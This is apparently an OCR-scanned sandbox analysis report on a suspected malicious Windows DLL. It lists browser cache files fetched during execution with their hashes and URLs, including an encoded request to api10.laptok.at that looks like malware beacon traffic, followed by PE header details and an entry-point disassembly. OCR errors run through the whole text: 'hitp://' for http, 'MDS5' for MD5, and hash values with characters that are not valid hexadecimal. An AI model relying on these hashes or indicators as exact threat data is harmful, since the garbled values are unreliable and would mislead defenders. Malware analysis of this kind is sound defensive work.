Category: downloaded

Size (bytes): 10589

Entropy (8bit):  7.965691144927277
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\CS6I1XJW6\https___console.brax-cdn.com_creatives b9476698-227d-4478-b354-042472d91
81c_TB1002-selfie_marco_paul-1200x800_1000x600 35a69fe848aa9c3ef7df36f95cf1c59d[1].jpg

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

false

192:6bfLtAMeG6faNGsN2UOWIWUAU8a+TSOpeUuRVMO/QDoLc9rAKJIYoZrMqg/Jgl:6bpAMeG6faN/2U0gRYa+O0ptuQGLArAJ
4BF5A0D9D414F68B07897DDB578A7F63

4ABEE14F06B3044A74AD83ES5CEA973D07DB2A5BD

161FA25E5807408E63590F1D01CDA860FDIAAD3BBF3A5A36E3F5B592F6DA367D
501B476E694DBB9237F30DBA407FCE1C6B21D8928C079FAC5F124F35100803B92B0599791FCDA153663AA82F0C4C3E5246314FE4BBAS3DA46E12694FB975B90L

false

hitp://https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/https%3A%2F%2Fconsole.brax-
cdn.com%2Fcreatives%2Fb9476698-227d-4478-b354-042472d9181c%2FTB1002-selfie_marco_paul-1200x800_1000x600_35a69fe848aa9c3ef7df36f95cf1c59d.png

7"....8..b...>.D-; .
[..1.2.).'6D.#.W....1.jU...J.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\l[E\CS61XJW6\iab2Data[1].json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

downloaded

180232

5.115010741936028

false
768:13JqIWIR2TryukPPnLLUAIGpWAowa8A5NbNQ8NnYHv:I13JqIcATDELLXGpEwW7Aq8YP
EC3D53697497B516D3A5764E2C2D2355
OCDAOF66188EBF363F945341A4F3AA2E6CFE78D3
2ABD991DABD5977796DB6AE4AD44BD600768062D69EE192A4AF2ACB0O38E13D843
CC35834574EF3062CCE45792F9755F1FB4B63DDD399A5B44C40555D191411F0B8924E5C2FEFCDO8BACE9ELIE6D6275E121CABB4A84005288A7452922F94BES65!
false

hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/iab2Data.json

{"gvISpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of
one or more Purposes or Special Purposes.”,"id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with y
our online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same
user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for
probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices

" "description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3"{"de

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\medianet[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

downloaded

381585

5.4849605655408515

false
6144:4wl9Tw5q1ZvbBHOM9Z3GCVvgz56Culb8sFyvrIW:zIZvdP3GCVvg4xVvFUrIw
288300D35549023E47D27E4B1EEFCB11
58C34F0D556C65D82799500D4A2F6AED71B885C0
210D9A57A28502C214A6F71BA9C28CD943F6D95C930F31CDBC70141E62ECCAED

3EA24CC8EAA32A550BD8A09860F9A0AF447DAA8B7C54FCEF802EACSFOO0EBEB376CF25DFC9A9F90169F3DFA82ECA3EA914967852AEBOF6317435D269650071CB
37

false

hitp://https://contextual. media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"
>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var a="",1="",c="" f={},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function m(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(s=0;s<3;s++)
e+=g[s].length;if(0!==e){for(var n,o=new Image,t=f.lurl||"https://lg3-a.akamaihd.net/nerrping.php",r="",i=0,s=2;0<=s;s--){for(e=g[s].length,0;0<e; ){if(n=1===s?g[s][0]:{lo
glLevel:g[s][0].logLevel,errorVal:{name:g[s][0].errorVal.name,type:a,svr:l,servname:c,message:g[s][0].errorVal.message,line:g[s][0].errorVal.lineNumber,description:g[s][0]
.errorVal.description,stack:g[s][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)
).length+r.length<=1

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\medianet[2].htm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
HTML document, ASCII text, with very long lines
downloaded

381584

5.484968989726478

false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\medianet[2].htm

SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

6144:4wI9Tw5ql1ZvbBHOM9Z3GCVvgz56CulbssFyvrIW:zIZvdP3GCVvgaxV/FUrlwW

FEF87668D4548EC93C4C447F3A22C5BD

3AEFE76749AF067142C478C251D34C44C0B88CC5

EE108EBA26F9C66F9D39BF5FBEEBAFACES6BIDB63F1ABCESF75EE8CIC8685F22
A125E7868F18C2250B832F965D2E61130278003962E488564E13BEDAS3D4F0ES3480EF89B4C6A24FB839F6670E5545AEE3E845E1F5802D0EB94E191BC6B7E070
false

hitp://https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"
>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var a= {},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function m(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(s=0;s<3;s++)
e+=g[s].length;if(0!==e){for(var n,o=new Image,t=f.lurl||"https://lg3-a.akamaihd.net/nerrping.php",r="",i=0,s=2;0<=s;s--){for(e=g[s].length,0;0<e; ){if(n=1===s?g[s][0]:{lo
glLevel:g[s][0].logLevel,errorVal:{name:g[s][0].errorVal.name,type:a,svr:l,servname:c,message:g[s][0].errorVal.message,line:g[s][0].errorVal.lineNumber,description:g[s][0]
.errorVal.description,stack:g[s][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)
).length+r.length<=1

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachell[E\CS6I1XJW6\otBannerSdk[1].js

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

372457

5.219562494722367

false

6144:B0C8zZ50VNeBNWabo7QtD+nKmbHgtTVfwBSh:B4zj7BNWaRfh
DA186E696CD78BC57C0854179AE8704A
03FCF360CC8D29A6D63BE8073D0ES2FFC2BDDB21
F10DC8CE932F150F2DB28639CF9119144AE979F8209E0AC37BBI8D30F6FB718F
4DE19D4040E28177FD995D56993FFACBIA2A0A7AAB8265BD1BBC7400C565BC73CD61B916D23228496515C237EEA14CCC46839F507879F67BA510D97F46B6355
false

hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/otBannerSdk.js

[** .. * onetrust-banner-sdk.. * v6.7.0.. * by OneTrust LLC.. * Copyright 2020 .. */..!function () { "use strict"; var o = function (e, t) { return (o = Object.setPrototypeOf || {
__proto__: [] } instanceof Array && function (e, t) { e.__proto__ =t} || function (e, t) { for (var o in t) t.hasOwnProperty(o) && (e[o] = t[o]) })(e, t) }; var r = function () { return
(r = Object.assign || function (e) { for (var t, o = 1, n = arguments.length; o < n; o++)for (var r in t = arguments[o]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]);
return e }).apply(this, arguments) }; function I(s, i, a, ) { return new (a = a || Promise)(function (e, t) { function o(e) { try { r(l.next(e)) } catch (e) { t(e) } } function n(e) { try {
r(L.throw(e)) } catch (e) { t(e) } } function r(t) { t.done ? e(t.value) : new a(function (e) { e(t.value) }).then(o, n) } r((I = Lapply(s, i || [I)).next()) }) } function k(o, n) { var r, s, i, e,
a = { label: 0, sent: function () { if (1 & i[0]) throw i[1]

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\otTCF-ie[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

downloaded

102879

5.311489377663803

false
768:0NKkWTOmM7r8N1gpPVsjvB6z4Y|3RCjnugKtLEdT8XJORONTMC5GkkJIOXcIGK58:8kunecpujSQRCjnrkKxJg0TMC5ZW8
52F29FAC6C1D2BOBAC8FESDOAA2F7ALS

D66C777DA4B6D1FEE86180B2B45A3954AE7EOAED
E497A9E7A9620236A9A67F77D2CDALCC9615F508A392ECCA53F63D2C8283DCOE

DF33C49B063AEFD719B47F9335A4A7CE38FA391B2ADF5ACFDOC3FE891ASD0ADDF1C3295E6FF44EEO8E729F96EO0DS26FFD773DC272E57C3B247696B79EE116¢
BA

false

hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/0tTCF-ie.js

Ifunction(){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(e){return e&&e.__
esModule&&Obiject.prototype.hasOwnProperty.call(e,"default”)?e.default:e}function t(e,t){return e(t={exports:{}},t.exports),t.exports}unction n(e){return e&&e.Math==Math&
&elfunction p(e){try{return!!e()}catch(e){return!0}}function E(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return w.call(e).slice(8,-
1)Hunction u(e){if(null==e)throw TypeError("Can't call method on "+e);return e}function I(e){return I(u(e))}function f(e){return"object"==typeof e?null!==e:"function"==typeof
elfunction i(e,t){if(!f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if("function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if(!t&
&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(e,t){retur

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\tah[1].htm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

268392

5.999917870673771

false
6144:rsSlJzxLtoP1NaM+X+amjSdKZeAiHOBYfLXUBEU:rsSSzxBoP1NkXvZ7H6YZES8I
27734CED2BB4E5B559544B4675F790A6
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\tah[1].htm

SHA1L: FDAEDB3EA624A20A58EDE3D16D3AB638F6514930

SHA-256: 538E8339A3A5FESCE03DA5663EC55E6611A3C7286830D6B2C798984142D34E7B

SHA-512: 6EA6D1858749E4221D20750B0272180D751C8F7ACBBABGEAF2388850593FD02B44AC385D728B7B5BFFAF141077C97AEDSEOB51CA647EB79E7403A90F85F2788!
Malicious: false

|IE Cache URL: hitp://
apil0.laptok.at/apil/sknLedsCbT_2B4wLtS_2FSf/C8Q4jrizvv/cHfghQ9vIOvZGO5GP/A0Jz8AHspssc/PRZs4sKIRg7/H1SdHxUwyz5RQ/XuBuvpY5vwQV4LqgIVVPRo/Z9Pjs
LKgohem6vf_/2FPMNyhDVIs00yE/BuUcdk1zY69hPWFKWmM/NvZIHAA31/78WizcFNxnStriaFjzK7/v_2FVVwIwtM_2F54f79/vZDSa6ivA8gkZONEYW9488/C4H0pr8tv19LW/
ZXxXdBMw/kw85mxmCjJ_2Bu320bSyLwF/Yo3etxqqFR/p7BRLvNXvFdgAAGGN/C_2BCacpFUZ1/tah

Preview:
Ji3iY3sEebpsDg26uLEavliq7XxfQiQqlbV8U9eD3tO9TtOOYr6 EOVTUE2tpFDkoWVK1EtZaSmDCOGgpGKejMPV2FU6BZN7LVKSQ/VM9IEPIyMVRtwxunXXR
WwOO0BV6bowJfmxOm7hHxZff9evNt9q+BzII187YmOAp9rH7/NKDpKBivhY4n2620Y 0jiehl5J4tBXA8cEdCA1t4Rg01cMjYqoOfnN/CYdISa01ZgsRdU2r3uYQ7qvKIi1lzs2
fbXG1liLaA3A4Vx5NoadzNPjVAVmMDbpWrINoCOF4uR4gJTkd4AdSpOekbFaOKkApKnRyrrhCLLrQsMyizvmfE8zmLUulzY TWDAWWZx0e6Fr1z1ENtsnG67YVZ
QLgFhDE2PsAqTItgxbfLvIPg9ZuXRuhaOQdBpiBIx+y+tmiKKVILHH00/oxz7jMHOabseOMgMFbjsf/K92FcQSA7JFVIHLguRcFnTfqOBrUl+IHaZSyvCrULIzpF5CK69d
wfdJ+19111+8fu+ILpPEOdYBtSf8BfW1loaZEZ6z0V4KeW7VINyReHQfaoL 7qd+Xbd7nidVkotTQCoNxloTxAtFoDd287RGxkoQVKT1ILIr/j4AldS9TWcJuginsHN/fsiT
UoW/u7Y5TdcTIAINNTbQThPtTMuJdOwMUIIN3rivspWWrI3WuA3Lb0ra7WhdOdQPUOr+ocVJis5fQ+Uvw/qONiYhMXCgCf5U2TnYBIDkAeuV87fwlBBMd21Q
9ULO+FyYwY pigPIbUQstYPV3hrPfD3qGsoQb6cumoG2kyFcQQAsgsEK2wdNxgP7DXqq0YwAwQIZycM4FzInuC2Ffqce WyZXkFxbgWaskdkJpuWLzenWe80+i
UFV8zxhGtm1lgOwmdc0/T3s++15BrxQqrK2+p5I150k7refG+1WI0bJpn1X0OzBzo6cwSV4ATvUC2alW7jCgigHImYVrt8lgC+dyUdG3BkdEudjvtbw85mTvSkOFZyuFPuY6

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\39ab3103-8560-4a55-bfc4-401f897cf6f2[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category: downloaded

Size (bytes): 64434

Entropy (8bit): 7.97602698071344

Encrypted: false

SSDEEP: 1536:uvrPk/qeS+g/vzqMMWi/shpcnsdHRpkZRF+wL7NK2cc8d55:uvrsSh7XzB0shpOWpkThLRyc8J

MDS5: F7E694704782A95060AC87471FOACTEA

SHA1L: F3925E2B2246A931CB81A96EE94331126DEDB9I09

SHA-256: DEEBF748D8EBEB50F9DFF0503606483CBD028D255A888E0006F219450AABCAAE

SHA-512: 02FEFF294B6AECDDA9CC9E2289710898675ED8D53B15E6FFOBB090F78BD784381E4F626A6605A8590665E71BFEED7AC703800BA018E6FEOD49946A7A3F431D7
Malicious: false

|IE Cache URL: hitp://https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9

Preview:

F.

NemASLI{&. L. . Uw.Wm...i..VK.KWQH.9.
Lp#YbKn'n.w.{o..._....1.L.).(14....z[}Z..
.D.z.W...Q..r.t.. .*k.ZO9.. . #...02

6k,8.E....".n.......pMk+..,q...n)GEUM..UUWO%O...)CJI&.P.2!
.N..V.2EN.R<-.YN)..Ma.0.R.D...;yo.~.x;u..H.....-.%.....].%.

...mTu..Ej....6.)Se.<.*....U.@...K.g\D.../.S...~.3 ....hN..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\55a804ab-e5c6-4b97-9319-86263d365d28[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 2830

Entropy (8bit): 4.775944066465458

Encrypted: false

SSDEEP: 48:Y91lg9DHF6Bjb40UMRBIVdiZv5Gh8aZa6AyYAcHHPK5JKIDrZjSfAZjfumjVLbf+:yy9Dwb40zrvdip5GHZa6AymsJjxjVj9i

MD5: 46748D733060312232F0DBD4CAD337B3

SHA1L: 5AABACOF79D77E90A72651E0FED81DOEEC5E3055

SHA-256: C84D5F2B8855D789A5863AABBC688E081BICA6DA3BI2A8ESEDEODC947BA4ABCL

SHA-512: BBB71BE8F42682B939F7AC44E1CA466F8997933B150E63D409B4D72DFD6BFCI83ED779FABAC16C0540193AFB66CE4B8D26E447ECF4EF72700C2C07AA700465
E

Malicious: false

|IE Cache URL: hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/55a804ab-e5c6-4b97-9319-
86263d365d28.json

Preview:
{"CookieSPAEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":true,"ScriptType":"LOCAL","Version":"6.4.0","OptanonDataJSON":"55a804ab-e5c6-4b97-
9319-86263d365d28","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/vl/geo/location”,"RuleSet":[{"Id":"6f0cca92-2dda-4588-a757-0e009f3
33603","Name":"Global","Countries™:["pr","ps","pw","py","qa","ad","ae","af","ag","ai","al","am","ao","aq","ar","as","au","aw","az","ba","bb","rs","bd","ru","bf","rw","bh","bi","bj"
SbI","bm”,"bn","bo","sa","bg","sb","sc","br","bs","sd","bt","sg","bv","sh","bw","by", bz""sl","sn","s0","ca","sr","ss","cc","st","cd","sv","cf","cg","sx","ch","sy","ci","sz","ck","cl"

sj","

,"em®,"en”,"co”,"tc","cr","td", "cu”,"tf","tg", "cv", "th", "cw", ", tm” “to","tr", ", "ty "tw,"dj, "tz "dm”, "do”, "ua","ug","dz","um"”,"us","ec","eg","eh","uy","uz","va"
er","vc","et","ve","vg","vi","vn","vu","fj","fk","fm","fo","wf","ga","ws","gd","ge","gg","gh","gi","gl","gm","gn","gq","gs","gt"
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\755f86[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category: downloaded
Size (bytes): 390
Entropy (8bit):  7.173321974089694
Encrypted: false
SSDEEP: 6:6V/IhPZ/SIKR7+RGjVjKM4H56b6269e G3AXGXxQm+cISWADBOwIlaqOTp:6v/71IkR7ZjKHHIr8GXQJcISwy0W9
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\755f86[1].png

MDS5: D43625E0C97B3D1E78B90C664EF38ACT

SHA1L: 27807FBFB316CF79C4293DF6BC3B3DE7F3CFC896

SHA-256: EF651D3C65005CEE34513EBD2CD420B16D45F2611E9818738FDEBF33D1DA7246

SHA-512: F2D153F11DC523E5F031B9AA16AA0ABLCCABBB7267E8BF4FFECFBA333E1F42A044654762404AA135BD50BC7C01826AFAIB7B6F28C24FD797C4F609823FA457E
1

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png

Preview:
..MIDATH.c...?.6’hhx....... L g.&hbb....... RR.K..x<.w..#
~*...Z.Els.NK.Z..... .e...0J.... [.UF>8[....=.

.0 ...C.F__x2...72.y..sIm2..1011102.F.(
....0....v..n.bd...9.<.Z10..... T.A..&...

....Wplqqg...6mbD..H....=.bt.....
JIEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\AAyuliQ[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 435

Entropy (8bit): 7.145242953183175

Encrypted: false

SSDEEP: 12:6v/78/W/6TKob359YEWQsQP+0aNwGzr5jI39HLOH7YM7:U/6pbJPgQP+bVRt9rOH8G

MDS5: D675AB16BA50C28F1D9D637BBEC7ECFF

SHA1L: C5420141C02C83C3B3A3D3CD0418D3BCEABB306A

SHA-256: E11816F8F2BBC3DC8B2BEB84323D6B781B654E80318DC8D02C35C8D7D81CB7848

SHA-512: DA3C25D7C998F60291BF94F97A75DE6820C708AE2DF80279F3DA96CCOE647EOEB46E94ES4EFFACAF72BA027D8FB1EL16E22FB17CFIAE3E069C2CASA22F5CCT:
A4

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:

...3..48.{$BZW.z.>...w4~.".m...[END.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\BB14EN7h[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3
Category: downloaded

Size (bytes): 10663

Entropy (8bit): 7.715872615198635

Encrypted: false

SSDEEP: 192:BpV23EiAqPWo2rhmHI2NF51Zr9Q8yE S4+e5B0k9F80dgmQzMs: 7PiAqnHICF51VVyxk5BBOtdq3Z

MDS5: A1ED4EBOC8FE2739CE3CB55E84DBD10F

SHA1L: 7A185F8FF5FF1EC11744B44C8D7F8152F03540D5

SHA-256: 17917B48CF2575A9EA5F845D8221BFBC2BA2C039B2F3916A3842ECF101758CCB

SHA-512: 232AE7AB9D6684CDF47E73FB15B0B87A32628BAEEA97709EA88A24B6594382D1DF957E739E7619EC8E8308D5912C4B896B329940D6947E74DCE7FC75D71C684
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB14EN7h.img?h=368&w=622&m=6&0=60&u=t&0=t&I=f&f=jpg

Preview:

tuvwxyz
U%.FEU..1*J#4.3@.6..yH...=. } #...bx...15..0....7R...."U.
E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%-...UE,.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\BB17milU[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 627

Entropy (8bit): 7.4822519699232695

Encrypted: false

SSDEEP: 12:6v/78/W/6TilP7X0TFI8ugNNIpESGCLDOkK32Se5R2bBCEYPk79kje77N:U/6xPTOTtINNDGCLDOMVe5JEAKV3N
MD5: DDE867EA1D9D8587449D8FA9CBAGCB71

SHA1L: 1A8B95E13686068DD73FDCDD8DIB48C640A310C4

SHA-256: 3D5AD319A63BCC4CD963BDDCFOE6A629A40CC45A9FB14DEFBB3F85A17FCC20B2

SHA-512: 83E4858E9B90B4214CDA0478C7A413123402AD53C1539F101A094B24C529FBIBFF279EEFC170DA2F1EEG87FEF1IBC97714A26F30719F271F12B8A5FA401732847
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17milU.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\BB17milU[1].png

Preview:

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

mov edi, edi

Copyright null 2021

.ha...g.|Y...9[..

74f0edecccdceOed

0x1000c252
text
false
0x10000000

windows gui

PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows

6.651733913217986

e Win32 Dynamic Link Library (generic) (1002004/3)
98.32%

Windows Screen Saver (13104/52) 1.29%
Generic Win/DOS Executable (2004/3) 0.20%
DOS Executable Generic (2002/1) 0.20%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

e o o o

Securitelnfo.com.Generic.mg.81f401defa8faa2e.dll
400896

81f401defa8faa2e4745590bc4f6c008
bddb75a5aa6ed1272307ee096b59e2e61076a6f9

74cc533238ae33245519b52784db0e6adbd3380b350717
fdc69d4e36714173d5

52b3ee08b33915¢910733f05087cchaf01f02693eeb91ba
a0c6c7a7350dc38709556142dde4db650614d640124417
1fc3b2279516cd0851498752e6cafe104fc

6144:pwM/k5f0utdirBpYffzZQoKSpMDpcOMxBdH6ZWcN
u0ewv6ZiEIBMAM:SM/KOcarBOPMDUON1EWS4Es

MZ.... .

is program cannot be run in DOS mode....$. .
=g.J=g.To..L=g..r..K=g.To..E=g.To..D=g.To..M=g.m...M
=g.J=f..=g.To...=g.To..K=g.To..K=g.To..K=g.RichJ=g......
..PE..L..

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

DYNAMIC_BASE

0x4B5847E3 [Thu Jan 21 12:26:11 2010 UTC]

o o o o o O

cbbc33a550d4a8746cac0220ca7clb3c
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Instruction

push ebp

mov ebp, esp

cmp dword ptr [ebp+0Ch], 01h
jne 00007F97EOBAABE7h
call 00007F97EO0BB2BCDh
push dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+10h]
mov edx, dword ptr [ebp+0Ch]
call 00007F97EOBAA7D1h
pop ecx

pop ebp

retn 000Ch

mov edi, edi

push ebp

mov ebp, esp

mov eax, dword ptr [ebp+08h]
XOr ecx, ecx

cmp eax, dword ptr [LOO5E4DOh+ecx*8]
je 00007F97EOBAA8F5h

inc ecx

cmp ecx, 2Dh

jc 00007F97EOBAA8D3h

lea ecx, dword ptr [eax-13h]
cmp ecx, 11h

jnbe 00007F97EOBAA8FOh
push 0000000Dh

pop eax

pop ebp

ret

mov eax, dword ptr [1005E4D4h+ecx*8]
pop ebp

ret

add eax, FFFFFF44h

push 0000000Eh

pop ecx

cmp ecx, eax

shb eax, eax

and eax, ecx

add eax, 08h

pop ebp

ret

call 00007F97E0BBOD43h
test eax, eax

jne 00007F97EOBAABESh
mov eax, 1005E638h

ret

add eax, 08h

ret

call 00007F97E0BBOD30h
test eax, eax

jne 00007F97EOBAABESh
mov eax, 1005E63Ch

ret

add eax, OCh

ret

mov edi, edi

push ebp

mov ebp, esp

push esi

call 00007F97EOBAABC7h
mov ecx, dword ptr [ebp+08h]
push ecx

mov dword ptr [eax], ecx

call 00007F97EOBAA8B67h
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Instruction

pop ecx

mov esi, eax

call 00007F97EOBAA8BALh
mov dword ptr [eax], esi

pop esi

pop ebp

ret

mov edi, edi

push ebp

mov ebp, esp

sub esp, 4Ch

mov eax, dword ptr [L005E640h]
xor eax, ebp

mov dword ptr [ebp-04h], eax
push ebx

xor ebx, ebx

push esi

mov esi, dword ptr [ebp+08h]

Rich Headers

Programming Language: e [C]VS2008 build 21022
e [LNK] VS2008 build 21022
e [IMP] VS2008 build 21022
e [ASM] VS2008 build 21022
e [IMP] VS2005 build 50727
e [RES] VS2008 build 21022
e [EXP] VS2008 build 21022
o [C++] VS2008 build 21022
Data Directories
Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x5dbf0 0x79 .rdata
IMAGE_DIRECTORY_ENTRY_IMPORT 0x5d324 0x3c .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x6e000 0x810 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x6f000 0x1d74 .reloc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x401f0 Oxlc .rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x5b210 0x40 .rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IAT 0x40000 0x184 .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
